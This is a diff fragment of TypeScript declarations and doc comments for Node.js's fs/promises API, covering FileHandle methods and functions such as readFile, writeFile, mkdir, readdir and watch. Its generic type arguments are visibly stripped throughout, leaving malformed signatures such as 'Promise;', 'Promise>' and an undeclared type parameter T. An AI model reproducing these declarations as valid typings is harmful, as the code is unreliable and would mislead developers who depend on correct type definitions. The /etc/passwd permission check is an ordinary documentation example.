or `'finish'` the file descriptor will be closed automatically. If `autoClose` is false, + * then the file descriptor won't be closed, even if there's an error. + * It is the application's responsibility to close it and make sure there's no + * file descriptor leak. + * + * By default, the stream will emit a `'close'` event after it has been + * destroyed. Set the `emitClose` option to `false` to change this behavior. + * @since v16.11.0 + */ + createWriteStream(options?: CreateWriteStreamOptions): WriteStream; + /** + * Forces all currently queued I/O operations associated with the file to the + * operating system's synchronized I/O completion state. Refer to the POSIX [`fdatasync(2)`](http://man7.org/linux/man-pages/man2/fdatasync.2.html) documentation for details. + * + * Unlike `filehandle.sync` this method does not flush modified metadata. + * @since v10.0.0 + * @return Fulfills with `undefined` upon success. + */ + datasync(): Promise; + /** + * Request that all data for the open file descriptor is flushed to the storage + * device. The specific implementation is operating system and device specific. + * Refer to the POSIX [`fsync(2)`](http://man7.org/linux/man-pages/man2/fsync.2.html) documentation for more detail. + * @since v10.0.0 + * @return Fulfills with `undefined` upon success. + */ + sync(): Promise; + /** + * Reads data from the file and stores that in the given buffer. + * + * If the file is not modified concurrently, the end-of-file is reached when the + * number of bytes read is zero. + * @since v10.0.0 + * @param buffer A buffer that will be filled with the file data read. + * @param offset The location in the buffer at which to start filling. + * @param length The number of bytes to read. + * @param position The location where to begin reading data from the file. If `null`, data will be read from the current file position, and the position will be updated. If `position` is an + * integer, the current file position will remain unchanged. + * @return Fulfills upon success with an object with two properties: + */ + read( + buffer: T, + offset?: number | null, + length?: number | null, + position?: number | null, + ): Promise>; + read(options?: FileReadOptions): Promise>; + /** + * Returns a `ReadableStream` that may be used to read the files data. + * + * An error will be thrown if this method is called more than once or is called + * after the `FileHandle` is closed or closing. + * + * ```js + * import { + * open, + * } from 'node:fs/promises'; + * + * const file = await open('./some/file/to/read'); + * + * for await (const chunk of file.readableWebStream()) + * console.log(chunk); + * + * await file.close(); + * ``` + * + * While the `ReadableStream` will read the file to completion, it will not + * close the `FileHandle` automatically. User code must still call the`fileHandle.close()` method. + * @since v17.0.0 + * @experimental + */ + readableWebStream(options?: ReadableWebStreamOptions): ReadableStream; + /** + * Asynchronously reads the entire contents of a file. + * + * If `options` is a string, then it specifies the `encoding`. + * + * The `FileHandle` has to support reading. + * + * If one or more `filehandle.read()` calls are made on a file handle and then a `filehandle.readFile()` call is made, the data will be read from the current + * position till the end of the file. It doesn't always read from the beginning + * of the file. + * @since v10.0.0 + * @return Fulfills upon a successful read with the contents of the file. If no encoding is specified (using `options.encoding`), the data is returned as a {Buffer} object. Otherwise, the + * data will be a string. + */ + readFile( + options?: { + encoding?: null | undefined; + flag?: OpenMode | undefined; + } | null, + ): Promise; + /** + * Asynchronously reads the entire contents of a file. The underlying file will _not_ be closed automatically. + * The `FileHandle` must have been opened for reading. + * @param options An object that may contain an optional flag. + * If a flag is not provided, it defaults to `'r'`. + */ + readFile( + options: + | { + encoding: BufferEncoding; + flag?: OpenMode | undefined; + } + | BufferEncoding, + ): Promise; + /** + * Asynchronously reads the entire contents of a file. The underlying file will _not_ be closed automatically. + * The `FileHandle` must have been opened for reading. + * @param options An object that may contain an optional flag. + * If a flag is not provided, it defaults to `'r'`. + */ + readFile( + options?: + | (ObjectEncodingOptions & { + flag?: OpenMode | undefined; + }) + | BufferEncoding + | null, + ): Promise; + /** + * Convenience method to create a `readline` interface and stream over the file. + * See `filehandle.createReadStream()` for the options. + * + * ```js + * import { open } from 'node:fs/promises'; + * + * const file = await open('./some/file/to/read'); + * + * for await (const line of file.readLines()) { + * console.log(line); + * } + * ``` + * @since v18.11.0 + */ + readLines(options?: CreateReadStreamOptions): ReadlineInterface; + /** + * @since v10.0.0 + * @return Fulfills with an {fs.Stats} for the file. + */ + stat( + opts?: StatOptions & { + bigint?: false | undefined; + }, + ): Promise; + stat( + opts: StatOptions & { + bigint: true; + }, + ): Promise; + stat(opts?: StatOptions): Promise; + /** + * Truncates the file. + * + * If the file was larger than `len` bytes, only the first `len` bytes will be + * retained in the file. + * + * The following example retains only the first four bytes of the file: + * + * ```js + * import { open } from 'node:fs/promises'; + * + * let filehandle = null; + * try { + * filehandle = await open('temp.txt', 'r+'); + * await filehandle.truncate(4); + * } finally { + * await filehandle?.close(); + * } + * ``` + * + * If the file previously was shorter than `len` bytes, it is extended, and the + * extended part is filled with null bytes (`'\0'`): + * + * If `len` is negative then `0` will be used. + * @since v10.0.0 + * @param [len=0] + * @return Fulfills with `undefined` upon success. + */ + truncate(len?: number): Promise; + /** + * Change the file system timestamps of the object referenced by the `FileHandle` then fulfills the promise with no arguments upon success. + * @since v10.0.0 + */ + utimes(atime: TimeLike, mtime: TimeLike): Promise; + /** + * Asynchronously writes data to a file, replacing the file if it already exists. `data` can be a string, a buffer, an + * [AsyncIterable](https://tc39.github.io/ecma262/#sec-asynciterable-interface), or an + * [Iterable](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#The_iterable_protocol) object. + * The promise is fulfilled with no arguments upon success. + * + * If `options` is a string, then it specifies the `encoding`. + * + * The `FileHandle` has to support writing. + * + * It is unsafe to use `filehandle.writeFile()` multiple times on the same file + * without waiting for the promise to be fulfilled (or rejected). + * + * If one or more `filehandle.write()` calls are made on a file handle and then a`filehandle.writeFile()` call is made, the data will be written from the + * current position till the end of the file. It doesn't always write from the + * beginning of the file. + * @since v10.0.0 + */ + writeFile( + data: string | Uint8Array, + options?: + | (ObjectEncodingOptions & FlagAndOpenMode & Abortable & { flush?: boolean | undefined }) + | BufferEncoding + | null, + ): Promise; + /** + * Write `buffer` to the file. + * + * The promise is fulfilled with an object containing two properties: + * + * It is unsafe to use `filehandle.write()` multiple times on the same file + * without waiting for the promise to be fulfilled (or rejected). For this + * scenario, use `filehandle.createWriteStream()`. + * + * On Linux, positional writes do not work when the file is opened in append mode. + * The kernel ignores the position argument and always appends the data to + * the end of the file. + * @since v10.0.0 + * @param offset The start position from within `buffer` where the data to write begins. + * @param [length=buffer.byteLength - offset] The number of bytes from `buffer` to write. + * @param [position='null'] The offset from the beginning of the file where the data from `buffer` should be written. If `position` is not a `number`, the data will be written at the current + * position. See the POSIX pwrite(2) documentation for more detail. + */ + write( + buffer: TBuffer, + offset?: number | null, + length?: number | null, + position?: number | null, + ): Promise<{ + bytesWritten: number; + buffer: TBuffer; + }>; + write( + data: string, + position?: number | null, + encoding?: BufferEncoding | null, + ): Promise<{ + bytesWritten: number; + buffer: string; + }>; + /** + * Write an array of [ArrayBufferView](https://developer.mozilla.org/en-US/docs/Web/API/ArrayBufferView) s to the file. + * + * The promise is fulfilled with an object containing a two properties: + * + * It is unsafe to call `writev()` multiple times on the same file without waiting + * for the promise to be fulfilled (or rejected). + * + * On Linux, positional writes don't work when the file is opened in append mode. + * The kernel ignores the position argument and always appends the data to + * the end of the file. + * @since v12.9.0 + * @param [position='null'] The offset from the beginning of the file where the data from `buffers` should be written. If `position` is not a `number`, the data will be written at the current + * position. + */ + writev(buffers: readonly NodeJS.ArrayBufferView[], position?: number): Promise; + /** + * Read from a file and write to an array of [ArrayBufferView](https://developer.mozilla.org/en-US/docs/Web/API/ArrayBufferView) s + * @since v13.13.0, v12.17.0 + * @param [position='null'] The offset from the beginning of the file where the data should be read from. If `position` is not a `number`, the data will be read from the current position. + * @return Fulfills upon success an object containing two properties: + */ + readv(buffers: readonly NodeJS.ArrayBufferView[], position?: number): Promise; + /** + * Closes the file handle after waiting for any pending operation on the handle to + * complete. + * + * ```js + * import { open } from 'node:fs/promises'; + * + * let filehandle; + * try { + * filehandle = await open('thefile.txt', 'r'); + * } finally { + * await filehandle?.close(); + * } + * ``` + * @since v10.0.0 + * @return Fulfills with `undefined` upon success. + */ + close(): Promise; + /** + * An alias for {@link FileHandle.close()}. + * @since v20.4.0 + */ + [Symbol.asyncDispose](): Promise; + } + const constants: typeof fsConstants; + /** + * Tests a user's permissions for the file or directory specified by `path`. + * The `mode` argument is an optional integer that specifies the accessibility + * checks to be performed. `mode` should be either the value `fs.constants.F_OK` or a mask consisting of the bitwise OR of any of `fs.constants.R_OK`, `fs.constants.W_OK`, and `fs.constants.X_OK` + * (e.g.`fs.constants.W_OK | fs.constants.R_OK`). Check `File access constants` for + * possible values of `mode`. + * + * If the accessibility check is successful, the promise is fulfilled with no + * value. If any of the accessibility checks fail, the promise is rejected + * with an [Error](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error) object. The following example checks if the file`/etc/passwd` can be read and + * written by the current process. + * + * ```js + * import { access, constants } from 'node:fs/promises'; + * + * try { + * await access('/etc/passwd', constants.R_OK | constants.W_OK); + * console.log('can access'); + * } catch { + * console.error('cannot access'); + * } + * ``` + * + * Using `fsPromises.access()` to check for the accessibility of a file before + * calling `fsPromises.open()` is not recommended. Doing so introduces a race + * condition, since other processes may change the file's state between the two + * calls. Instead, user code should open/read/write the file directly and handle + * the error raised if the file is not accessible. + * @since v10.0.0 + * @param [mode=fs.constants.F_OK] + * @return Fulfills with `undefined` upon success. + */ + function access(path: PathLike, mode?: number): Promise; + /** + * Asynchronously copies `src` to `dest`. By default, `dest` is overwritten if it + * already exists. + * + * No guarantees are made about the atomicity of the copy operation. If an + * error occurs after the destination file has been opened for writing, an attempt + * will be made to remove the destination. + * + * ```js + * import { copyFile, constants } from 'node:fs/promises'; + * + * try { + * await copyFile('source.txt', 'destination.txt'); + * console.log('source.txt was copied to destination.txt'); + * } catch { + * console.error('The file could not be copied'); + * } + * + * // By using COPYFILE_EXCL, the operation will fail if destination.txt exists. + * try { + * await copyFile('source.txt', 'destination.txt', constants.COPYFILE_EXCL); + * console.log('source.txt was copied to destination.txt'); + * } catch { + * console.error('The file could not be copied'); + * } + * ``` + * @since v10.0.0 + * @param src source filename to copy + * @param dest destination filename of the copy operation + * @param [mode=0] Optional modifiers that specify the behavior of the copy operation. It is possible to create a mask consisting of the bitwise OR of two or more values (e.g. + * `fs.constants.COPYFILE_EXCL | fs.constants.COPYFILE_FICLONE`) + * @return Fulfills with `undefined` upon success. + */ + function copyFile(src: PathLike, dest: PathLike, mode?: number): Promise; + /** + * Opens a `FileHandle`. + * + * Refer to the POSIX [`open(2)`](http://man7.org/linux/man-pages/man2/open.2.html) documentation for more detail. + * + * Some characters (`< > : " / \ | ? *`) are reserved under Windows as documented + * by [Naming Files, Paths, and Namespaces](https://docs.microsoft.com/en-us/windows/desktop/FileIO/naming-a-file). Under NTFS, if the filename contains + * a colon, Node.js will open a file system stream, as described by [this MSDN page](https://docs.microsoft.com/en-us/windows/desktop/FileIO/using-streams). + * @since v10.0.0 + * @param [flags='r'] See `support of file system `flags``. + * @param [mode=0o666] Sets the file mode (permission and sticky bits) if the file is created. + * @return Fulfills with a {FileHandle} object. + */ + function open(path: PathLike, flags?: string | number, mode?: Mode): Promise; + /** + * Renames `oldPath` to `newPath`. + * @since v10.0.0 + * @return Fulfills with `undefined` upon success. + */ + function rename(oldPath: PathLike, newPath: PathLike): Promise; + /** + * Truncates (shortens or extends the length) of the content at `path` to `len` bytes. + * @since v10.0.0 + * @param [len=0] + * @return Fulfills with `undefined` upon success. + */ + function truncate(path: PathLike, len?: number): Promise; + /** + * Removes the directory identified by `path`. + * + * Using `fsPromises.rmdir()` on a file (not a directory) results in the + * promise being rejected with an `ENOENT` error on Windows and an `ENOTDIR` error on POSIX. + * + * To get a behavior similar to the `rm -rf` Unix command, use `fsPromises.rm()` with options `{ recursive: true, force: true }`. + * @since v10.0.0 + * @return Fulfills with `undefined` upon success. + */ + function rmdir(path: PathLike, options?: RmDirOptions): Promise; + /** + * Removes files and directories (modeled on the standard POSIX `rm` utility). + * @since v14.14.0 + * @return Fulfills with `undefined` upon success. + */ + function rm(path: PathLike, options?: RmOptions): Promise; + /** + * Asynchronously creates a directory. + * + * The optional `options` argument can be an integer specifying `mode` (permission + * and sticky bits), or an object with a `mode` property and a `recursive` property indicating whether parent directories should be created. Calling `fsPromises.mkdir()` when `path` is a directory + * that exists results in a + * rejection only when `recursive` is false. + * + * ```js + * import { mkdir } from 'node:fs/promises'; + * + * try { + * const projectFolder = new URL('./test/project/', import.meta.url); + * const createDir = await mkdir(projectFolder, { recursive: true }); + * + * console.log(`created ${createDir}`); + * } catch (err) { + * console.error(err.message); + * } + * ``` + * @since v10.0.0 + * @return Upon success, fulfills with `undefined` if `recursive` is `false`, or the first directory path created if `recursive` is `true`. + */ + function mkdir( + path: PathLike, + options: MakeDirectoryOptions & { + recursive: true; + }, + ): Promise; + /** + * Asynchronous mkdir(2) - create a directory. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options Either the file mode, or an object optionally specifying the file mode and whether parent folders + * should be created. If a string is passed, it is parsed as an octal integer. If not specified, defaults to `0o777`. + */ + function mkdir( + path: PathLike, + options?: + | Mode + | (MakeDirectoryOptions & { + recursive?: false | undefined; + }) + | null, + ): Promise; + /** + * Asynchronous mkdir(2) - create a directory. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options Either the file mode, or an object optionally specifying the file mode and whether parent folders + * should be created. If a string is passed, it is parsed as an octal integer. If not specified, defaults to `0o777`. + */ + function mkdir(path: PathLike, options?: Mode | MakeDirectoryOptions | null): Promise; + /** + * Reads the contents of a directory. + * + * The optional `options` argument can be a string specifying an encoding, or an + * object with an `encoding` property specifying the character encoding to use for + * the filenames. If the `encoding` is set to `'buffer'`, the filenames returned + * will be passed as `Buffer` objects. + * + * If `options.withFileTypes` is set to `true`, the returned array will contain `fs.Dirent` objects. + * + * ```js + * import { readdir } from 'node:fs/promises'; + * + * try { + * const files = await readdir(path); + * for (const file of files) + * console.log(file); + * } catch (err) { + * console.error(err); + * } + * ``` + * @since v10.0.0 + * @return Fulfills with an array of the names of the files in the directory excluding `'.'` and `'..'`. + */ + function readdir( + path: PathLike, + options?: + | (ObjectEncodingOptions & { + withFileTypes?: false | undefined; + recursive?: boolean | undefined; + }) + | BufferEncoding + | null, + ): Promise; + /** + * Asynchronous readdir(3) - read a directory. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options The encoding (or an object specifying the encoding), used as the encoding of the result. If not provided, `'utf8'` is used. + */ + function readdir( + path: PathLike, + options: + | { + encoding: "buffer"; + withFileTypes?: false | undefined; + recursive?: boolean | undefined; + } + | "buffer", + ): Promise; + /** + * Asynchronous readdir(3) - read a directory. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options The encoding (or an object specifying the encoding), used as the encoding of the result. If not provided, `'utf8'` is used. + */ + function readdir( + path: PathLike, + options?: + | (ObjectEncodingOptions & { + withFileTypes?: false | undefined; + recursive?: boolean | undefined; + }) + | BufferEncoding + | null, + ): Promise; + /** + * Asynchronous readdir(3) - read a directory. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options If called with `withFileTypes: true` the result data will be an array of Dirent. + */ + function readdir( + path: PathLike, + options: ObjectEncodingOptions & { + withFileTypes: true; + recursive?: boolean | undefined; + }, + ): Promise; + /** + * Reads the contents of the symbolic link referred to by `path`. See the POSIX [`readlink(2)`](http://man7.org/linux/man-pages/man2/readlink.2.html) documentation for more detail. The promise is + * fulfilled with the`linkString` upon success. + * + * The optional `options` argument can be a string specifying an encoding, or an + * object with an `encoding` property specifying the character encoding to use for + * the link path returned. If the `encoding` is set to `'buffer'`, the link path + * returned will be passed as a `Buffer` object. + * @since v10.0.0 + * @return Fulfills with the `linkString` upon success. + */ + function readlink(path: PathLike, options?: ObjectEncodingOptions | BufferEncoding | null): Promise; + /** + * Asynchronous readlink(2) - read value of a symbolic link. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options The encoding (or an object specifying the encoding), used as the encoding of the result. If not provided, `'utf8'` is used. + */ + function readlink(path: PathLike, options: BufferEncodingOption): Promise; + /** + * Asynchronous readlink(2) - read value of a symbolic link. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options The encoding (or an object specifying the encoding), used as the encoding of the result. If not provided, `'utf8'` is used. + */ + function readlink(path: PathLike, options?: ObjectEncodingOptions | string | null): Promise; + /** + * Creates a symbolic link. + * + * The `type` argument is only used on Windows platforms and can be one of `'dir'`, `'file'`, or `'junction'`. If the `type` argument is not a string, Node.js will + * autodetect `target` type and use `'file'` or `'dir'`. If the `target` does not + * exist, `'file'` will be used. Windows junction points require the destination + * path to be absolute. When using `'junction'`, the `target` argument will + * automatically be normalized to absolute path. Junction points on NTFS volumes + * can only point to directories. + * @since v10.0.0 + * @param [type='null'] + * @return Fulfills with `undefined` upon success. + */ + function symlink(target: PathLike, path: PathLike, type?: string | null): Promise; + /** + * Equivalent to `fsPromises.stat()` unless `path` refers to a symbolic link, + * in which case the link itself is stat-ed, not the file that it refers to. + * Refer to the POSIX [`lstat(2)`](http://man7.org/linux/man-pages/man2/lstat.2.html) document for more detail. + * @since v10.0.0 + * @return Fulfills with the {fs.Stats} object for the given symbolic link `path`. + */ + function lstat( + path: PathLike, + opts?: StatOptions & { + bigint?: false | undefined; + }, + ): Promise; + function lstat( + path: PathLike, + opts: StatOptions & { + bigint: true; + }, + ): Promise; + function lstat(path: PathLike, opts?: StatOptions): Promise; + /** + * @since v10.0.0 + * @return Fulfills with the {fs.Stats} object for the given `path`. + */ + function stat( + path: PathLike, + opts?: StatOptions & { + bigint?: false | undefined; + }, + ): Promise; + function stat( + path: PathLike, + opts: StatOptions & { + bigint: true; + }, + ): Promise; + function stat(path: PathLike, opts?: StatOptions): Promise; + /** + * @since v19.6.0, v18.15.0 + * @return Fulfills with the {fs.StatFs} object for the given `path`. + */ + function statfs( + path: PathLike, + opts?: StatFsOptions & { + bigint?: false | undefined; + }, + ): Promise; + function statfs( + path: PathLike, + opts: StatFsOptions & { + bigint: true; + }, + ): Promise; + function statfs(path: PathLike, opts?: StatFsOptions): Promise; + /** + * Creates a new link from the `existingPath` to the `newPath`. See the POSIX [`link(2)`](http://man7.org/linux/man-pages/man2/link.2.html) documentation for more detail. + * @since v10.0.0 + * @return Fulfills with `undefined` upon success. + */ + function link(existingPath: PathLike, newPath: PathLike): Promise; + /** + * If `path` refers to a symbolic link, then the link is removed without affecting + * the file or directory to which that link refers. If the `path` refers to a file + * path that is not a symbolic link, the file is deleted. See the POSIX [`unlink(2)`](http://man7.org/linux/man-pages/man2/unlink.2.html) documentation for more detail. + * @since v10.0.0 + * @return Fulfills with `undefined` upon success. + */ + function unlink(path: PathLike): Promise; + /** + * Changes the permissions of a file. + * @since v10.0.0 + * @return Fulfills with `undefined` upon success. + */ + function chmod(path: PathLike, mode: Mode): Promise; + /** + * Changes the permissions on a symbolic link. + * + * This method is only implemented on macOS. + * @deprecated Since v10.0.0 + * @return Fulfills with `undefined` upon success. + */ + function lchmod(path: PathLike, mode: Mode): Promise; + /** + * Changes the ownership on a symbolic link. + * @since v10.0.0 + * @return Fulfills with `undefined` upon success. + */ + function lchown(path: PathLike, uid: number, gid: number): Promise; + /** + * Changes the access and modification times of a file in the same way as `fsPromises.utimes()`, with the difference that if the path refers to a + * symbolic link, then the link is not dereferenced: instead, the timestamps of + * the symbolic link itself are changed. + * @since v14.5.0, v12.19.0 + * @return Fulfills with `undefined` upon success. + */ + function lutimes(path: PathLike, atime: TimeLike, mtime: TimeLike): Promise; + /** + * Changes the ownership of a file. + * @since v10.0.0 + * @return Fulfills with `undefined` upon success. + */ + function chown(path: PathLike, uid: number, gid: number): Promise; + /** + * Change the file system timestamps of the object referenced by `path`. + * + * The `atime` and `mtime` arguments follow these rules: + * + * * Values can be either numbers representing Unix epoch time, `Date`s, or a + * numeric string like `'123456789.0'`. + * * If the value can not be converted to a number, or is `NaN`, `Infinity`, or `-Infinity`, an `Error` will be thrown. + * @since v10.0.0 + * @return Fulfills with `undefined` upon success. + */ + function utimes(path: PathLike, atime: TimeLike, mtime: TimeLike): Promise; + /** + * Determines the actual location of `path` using the same semantics as the `fs.realpath.native()` function. + * + * Only paths that can be converted to UTF8 strings are supported. + * + * The optional `options` argument can be a string specifying an encoding, or an + * object with an `encoding` property specifying the character encoding to use for + * the path. If the `encoding` is set to `'buffer'`, the path returned will be + * passed as a `Buffer` object. + * + * On Linux, when Node.js is linked against musl libc, the procfs file system must + * be mounted on `/proc` in order for this function to work. Glibc does not have + * this restriction. + * @since v10.0.0 + * @return Fulfills with the resolved path upon success. + */ + function realpath(path: PathLike, options?: ObjectEncodingOptions | BufferEncoding | null): Promise; + /** + * Asynchronous realpath(3) - return the canonicalized absolute pathname. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options The encoding (or an object specifying the encoding), used as the encoding of the result. If not provided, `'utf8'` is used. + */ + function realpath(path: PathLike, options: BufferEncodingOption): Promise; + /** + * Asynchronous realpath(3) - return the canonicalized absolute pathname. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options The encoding (or an object specifying the encoding), used as the encoding of the result. If not provided, `'utf8'` is used. + */ + function realpath( + path: PathLike, + options?: ObjectEncodingOptions | BufferEncoding | null, + ): Promise; + /** + * Creates a unique temporary directory. A unique directory name is generated by + * appending six random characters to the end of the provided `prefix`. Due to + * platform inconsistencies, avoid trailing `X` characters in `prefix`. Some + * platforms, notably the BSDs, can return more than six random characters, and + * replace trailing `X` characters in `prefix` with random characters. + * + * The optional `options` argument can be a string specifying an encoding, or an + * object with an `encoding` property specifying the character encoding to use. + * + * ```js + * import { mkdtemp } from 'node:fs/promises'; + * import { join } from 'node:path'; + * import { tmpdir } from 'node:os'; + * + * try { + * await mkdtemp(join(tmpdir(), 'foo-')); + * } catch (err) { + * console.error(err); + * } + * ``` + * + * The `fsPromises.mkdtemp()` method will append the six randomly selected + * characters directly to the `prefix` string. For instance, given a directory `/tmp`, if the intention is to create a temporary directory _within_ `/tmp`, the `prefix` must end with a trailing + * platform-specific path separator + * (`import { sep } from 'node:path'`). + * @since v10.0.0 + * @return Fulfills with a string containing the file system path of the newly created temporary directory. + */ + function mkdtemp(prefix: string, options?: ObjectEncodingOptions | BufferEncoding | null): Promise; + /** + * Asynchronously creates a unique temporary directory. + * Generates six random characters to be appended behind a required `prefix` to create a unique temporary directory. + * @param options The encoding (or an object specifying the encoding), used as the encoding of the result. If not provided, `'utf8'` is used. + */ + function mkdtemp(prefix: string, options: BufferEncodingOption): Promise; + /** + * Asynchronously creates a unique temporary directory. + * Generates six random characters to be appended behind a required `prefix` to create a unique temporary directory. + * @param options The encoding (or an object specifying the encoding), used as the encoding of the result. If not provided, `'utf8'` is used. + */ + function mkdtemp(prefix: string, options?: ObjectEncodingOptions | BufferEncoding | null): Promise; + /** + * Asynchronously writes data to a file, replacing the file if it already exists. `data` can be a string, a buffer, an + * [AsyncIterable](https://tc39.github.io/ecma262/#sec-asynciterable-interface), or an + * [Iterable](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#The_iterable_protocol) object. + * + * The `encoding` option is ignored if `data` is a buffer. + * + * If `options` is a string, then it specifies the encoding. + * + * The `mode` option only affects the newly created file. See `fs.open()` for more details. + * + * Any specified `FileHandle` has to support writing. + * + * It is unsafe to use `fsPromises.writeFile()` multiple times on the same file + * without waiting for the promise to be settled. + * + * Similarly to `fsPromises.readFile` \- `fsPromises.writeFile` is a convenience + * method that performs multiple `write` calls internally to write the buffer + * passed to it. For performance sensitive code consider using `fs.createWriteStream()` or `filehandle.createWriteStream()`. + * + * It is possible to use an `AbortSignal` to cancel an `fsPromises.writeFile()`. + * Cancelation is "best effort", and some amount of data is likely still + * to be written. + * + * ```js + * import { writeFile } from 'node:fs/promises'; + * import { Buffer } from 'node:buffer'; + * + * try { + * const controller = new AbortController(); + * const { signal } = controller; + * const data = new Uint8Array(Buffer.from('Hello Node.js')); + * const promise = writeFile('message.txt', data, { signal }); + * + * // Abort the request before the promise settles. + * controller.abort(); + * + * await promise; + * } catch (err) { + * // When a request is aborted - err is an AbortError + * console.error(err); + * } + * ``` + * + * Aborting an ongoing request does not abort individual operating + * system requests but rather the internal buffering `fs.writeFile` performs. + * @since v10.0.0 + * @param file filename or `FileHandle` + * @return Fulfills with `undefined` upon success. + */ + function writeFile( + file: PathLike | FileHandle, + data: + | string + | NodeJS.ArrayBufferView + | Iterable + | AsyncIterable + | Stream, + options?: + | (ObjectEncodingOptions & { + mode?: Mode | undefined; + flag?: OpenMode | undefined; + /** + * If all data is successfully written to the file, and `flush` + * is `true`, `filehandle.sync()` is used to flush the data. + * @default false + */ + flush?: boolean | undefined; + } & Abortable) + | BufferEncoding + | null, + ): Promise; + /** + * Asynchronously append data to a file, creating the file if it does not yet + * exist. `data` can be a string or a `Buffer`. + * + * If `options` is a string, then it specifies the `encoding`. + * + * The `mode` option only affects the newly created file. See `fs.open()` for more details. + * + * The `path` may be specified as a `FileHandle` that has been opened + * for appending (using `fsPromises.open()`). + * @since v10.0.0 + * @param path filename or {FileHandle} + * @return Fulfills with `undefined` upon success. + */ + function appendFile( + path: PathLike | FileHandle, + data: string | Uint8Array, + options?: (ObjectEncodingOptions & FlagAndOpenMode & { flush?: boolean | undefined }) | BufferEncoding | null, + ): Promise; + /** + * Asynchronously reads the entire contents of a file. + * + * If no encoding is specified (using `options.encoding`), the data is returned + * as a `Buffer` object. Otherwise, the data will be a string. + * + * If `options` is a string, then it specifies the encoding. + * + * When the `path` is a directory, the behavior of `fsPromises.readFile()` is + * platform-specific. On macOS, Linux, and Windows, the promise will be rejected + * with an error. On FreeBSD, a representation of the directory's contents will be + * returned. + * + * An example of reading a `package.json` file located in the same directory of the + * running code: + * + * ```js + * import { readFile } from 'node:fs/promises'; + * try { + * const filePath = new URL('./package.json', import.meta.url); + * const contents = await readFile(filePath, { encoding: 'utf8' }); + * console.log(contents); + * } catch (err) { + * console.error(err.message); + * } + * ``` + * + * It is possible to abort an ongoing `readFile` using an `AbortSignal`. If a + * request is aborted the promise returned is rejected with an `AbortError`: + * + * ```js + * import { readFile } from 'node:fs/promises'; + * + * try { + * const controller = new AbortController(); + * const { signal } = controller; + * const promise = readFile(fileName, { signal }); + * + * // Abort the request before the promise settles. + * controller.abort(); + * + * await promise; + * } catch (err) { + * // When a request is aborted - err is an AbortError + * console.error(err); + * } + * ``` + * + * Aborting an ongoing request does not abort individual operating + * system requests but rather the internal buffering `fs.readFile` performs. + * + * Any specified `FileHandle` has to support reading. + * @since v10.0.0 + * @param path filename or `FileHandle` + * @return Fulfills with the contents of the file. + */ + function readFile( + path: PathLike | FileHandle, + options?: + | ({ + encoding?: null | undefined; + flag?: OpenMode | undefined; + } & Abortable) + | null, + ): Promise; + /** + * Asynchronously reads the entire contents of a file. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * If a `FileHandle` is provided, the underlying file will _not_ be closed automatically. + * @param options An object that may contain an optional flag. + * If a flag is not provided, it defaults to `'r'`. + */ + function readFile( + path: PathLike | FileHandle, + options: + | ({ + encoding: BufferEncoding; + flag?: OpenMode | undefined; + } & Abortable) + | BufferEncoding, + ): Promise; + /** + * Asynchronously reads the entire contents of a file. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * If a `FileHandle` is provided, the underlying file will _not_ be closed automatically. + * @param options An object that may contain an optional flag. + * If a flag is not provided, it defaults to `'r'`. + */ + function readFile( + path: PathLike | FileHandle, + options?: + | ( + & ObjectEncodingOptions + & Abortable + & { + flag?: OpenMode | undefined; + } + ) + | BufferEncoding + | null, + ): Promise; + /** + * Asynchronously open a directory for iterative scanning. See the POSIX [`opendir(3)`](http://man7.org/linux/man-pages/man3/opendir.3.html) documentation for more detail. + * + * Creates an `fs.Dir`, which contains all further functions for reading from + * and cleaning up the directory. + * + * The `encoding` option sets the encoding for the `path` while opening the + * directory and subsequent read operations. + * + * Example using async iteration: + * + * ```js + * import { opendir } from 'node:fs/promises'; + * + * try { + * const dir = await opendir('./'); + * for await (const dirent of dir) + * console.log(dirent.name); + * } catch (err) { + * console.error(err); + * } + * ``` + * + * When using the async iterator, the `fs.Dir` object will be automatically + * closed after the iterator exits. + * @since v12.12.0 + * @return Fulfills with an {fs.Dir}. + */ + function opendir(path: PathLike, options?: OpenDirOptions): Promise; + /** + * Returns an async iterator that watches for changes on `filename`, where `filename`is either a file or a directory. + * + * ```js + * import { watch } from 'node:fs/promises'; + * + * const ac = new AbortController(); + * const { signal } = ac; + * setTimeout(() => ac.abort(), 10000); + * + * (async () => { + * try { + * const watcher = watch(__filename, { signal }); + * for await (const event of watcher) + * console.log(event); + * } catch (err) { + * if (err.name === 'AbortError') + * return; + * throw err; + * } + * })(); + * ``` + * + * On most platforms, `'rename'` is emitted whenever a filename appears or + * disappears in the directory. + * + * All the `caveats` for `fs.watch()` also apply to `fsPromises.watch()`. + * @since v15.9.0, v14.18.0 + * @return of objects with the properties: + */ + function watch( + filename: PathLike, + options: + | (WatchOptions & { + encoding: "buffer"; + }) + | "buffer", + ): AsyncIterable>; + /** + * Watch for changes on `filename`, where `filename` is either a file or a directory, returning an `FSWatcher`. + * @param filename A path to a file or directory. If a URL is provided, it must use the `file:` protocol. + * @param options Either the encoding for the filename provided to the listener, or an object optionally specifying encoding, persistent, and recursive options. + * If `encoding` is not supplied, the default of `'utf8'` is used. + * If `persistent` is not supplied, the default of `true` is used. + * If `recursive` is not supplied, the default of `false` is used. + */ + function watch(filename: PathLike, options?: WatchOptions | BufferEncoding): AsyncIterable>; + /** + * Watch for changes on `filename`, where `filename` is either a file or a directory, returning an `FSWatcher`. + * @param filename A path to a file or directory. If a URL is provided, it must use the `file:` protocol. + * @param options Either the encoding for the filename provided to the listener, or an object optionally specifying encoding, persistent, and recursive options. + * If `encoding` is not supplied, the default of `'utf8'` is used. + * If `persistent` is not supplied, the default of `true` is used. + * If `recursive` is not supplied, the default of `false` is used. + */ + function watch( + filename: PathLike, + options: WatchOptions | string, + ): AsyncIterable> | 